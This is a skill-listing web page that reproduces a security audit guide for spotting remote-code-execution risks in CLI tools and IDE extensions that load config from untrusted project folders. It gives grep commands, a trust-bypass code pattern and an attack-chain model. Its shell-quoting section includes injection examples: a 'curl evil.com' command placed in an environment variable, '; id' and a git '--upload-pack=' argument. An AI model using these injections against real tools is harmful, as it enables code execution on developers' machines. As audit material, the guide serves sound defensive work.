trust-boundary-analysis
What it does
This skill is an audit guide for command-line tools, IDE extensions and plugin systems that read settings from the current folder. It is for developers and security reviewers who check how their tools start.
When to use it
- βWhen a developer asks the agent to check whether a CLI or IDE tool trusts settings files in any folder it opens.
- βWhen the agent traces a tool's startup order to see which config wins between project and user files.
- βWhen a team reviews a plugin system that loads code or MCP servers from a project directory.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan our developer tool run commands from a settings file in a project folder that a user just opened?β
5 new skills a week. 1 minute to read.
How it works
The agent traces how the tool finds config files, maps which files load first, and checks whether project files are trusted before they run commands.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Trust Boundary Analysis
This skill targets the vulnerability class that produced 5 RCE vectors in Google Gemini CLI from a single architectural flaw: missing workspace trust. Developer tools that auto-load configuration from untrusted directories are a rich attack surface.
When to Use
Apply this skill when the target:
- Loads
.env,settings.json, or config files from the current working directory - Has a plugin/extension system that auto-discovers and loads code
- Spawns child processes with configuration-controlled commands
- Is a CLI tool, IDE extension, language server, or build tool
- Uses MCP (Model Context Protocol) servers configured via project files
Startup Sequence Audit
For any CLI tool or developer application, trace the full initialization:
1. Config file discovery
grep -rn 'readFile\|readFileSync\|fs.read\|open(' --include='*.ts' --include='*.js' \
/workspace/target/src/ | grep -i 'config\|settings\|env\|rc\|\.json'
Map the search order. Common dangerous patterns:
cwd/.tool/config.jsonβcwd/.envβ~/.tool/configβ/etc/tool/config- If the local (cwd) config is loaded BEFORE the user's global config, the attacker's repo-level config wins.
Record each config loading point:
kg_add_node("code_location", "loadConfig() reads .env from cwd",
props={"file": "src/config/settings.ts", "line": 42, "trust_level": "untrusted"})
2. Environment variable injection
grep -rn 'process\.env\|os\.environ\|env::var\|getenv' --include='*.ts' \
--include='*.py' --include='*.rs' /workspace/target/src/
Check: Are env vars from .env files injected into process.env? Which vars
control dangerous behavior? Look for:
*_COMMAND,*_CMD,*_EXECβ shell execution*_PROXYβ SSRF / network interception*_PATH,*_DIRβ path traversal*_URLβ open redirect / SSRFDEBUG,NODE_ENVβ bypass security controls
3. Workspace trust check
grep -rn 'trust\|isTrusted\|workspace.*safe\|folder.*trust' --include='*.ts' \
--include='*.js' /workspace/target/src/
Look for the pattern:
// DANGEROUS: trust disabled by default
if (!settings.folderTrustEnabled) {
return { isTrusted: true }; // β All workspaces trusted
}
If no trust check exists, every config is loaded blindly. This is the root cause.
4. Command execution from config
grep -rn 'spawn\|exec\|execSync\|child_process\|subprocess\|os\.system\|Popen' \
--include='*.ts' --include='*.js' --include='*.py' /workspace/target/src/
For each spawn/exec call, check:
- Is
shell: trueset? β shell injection via crafted values - Does the command come from config? β attacker-controlled execution
- Is there any validation/allowlist on the command?
5. Plugin/tool auto-discovery
grep -rn 'discoverTools\|loadPlugins\|autoDiscover\|mcpServers\|toolDiscovery' \
--include='*.ts' --include='*.js' /workspace/target/src/
Check: Are plugins/tools loaded from project-level config BEFORE any user confirmation? MCP servers, language server plugins, and build tool extensions are common vectors.
Trust Boundary Graph Modeling
Map the attack flow as a chain in the knowledge graph:
ENTRYPOINT (malicious .env file in cloned repo)
β enables β ENV_INJECT (process.env poisoned)
β enables β SHELL_EXEC (spawn with shell:true)
β reaches β CROWN_JEWEL (arbitrary code execution)
Use low edge weights (0.2β0.4) for automatic/silent steps. Use higher weights (1.0+) for steps requiring user interaction.
Then call plan_attack_chains(top_k=5) to surface the cheapest paths.
Shell Quoting Vulnerabilities
When config values flow into shell commands, check for:
- Direct interpolation:
`command ${userValue}`β injection via; id - Single-quote escape:
osascript -e '${path}'β escape via'in path - Env var in shell context:
PROXY_CMD="curl evil.com"β executed as-is - Argument injection:
spawn('git', ['clone', userUrl])β--upload-pack=prefix
For each, the PoC pattern is:
- Craft input that breaks out of the quoting context
- Inject a command that proves execution (
id,env, write a sentinel file) - Use
validate_findingwith the sentinel as the success pattern
Negative Control
Always test: does the same code path execute WITHOUT the malicious config? The negative control is the same operation with a clean/empty config directory. If the behavior occurs regardless, it's no
FAQ
Why does the current folder matter?
The skill says a project folder can hold config that a tool loads automatically, so a hostile repository could affect the user.
What is workspace trust?
The skill describes it as a check that asks whether a folder is trusted before its settings or plugins are used.
Which tools does this apply to?
The skill lists developer tools, CLIs, IDE extensions, language servers and build tools that read project config.
Details
Original description by the author
Trust boundary mapping and startup sequence audit for developer tools, CLI apps, and plugin systems. Load when the target is a developer tool, CLI, IDE extension, or any application that loads config from the current directory.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13979
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.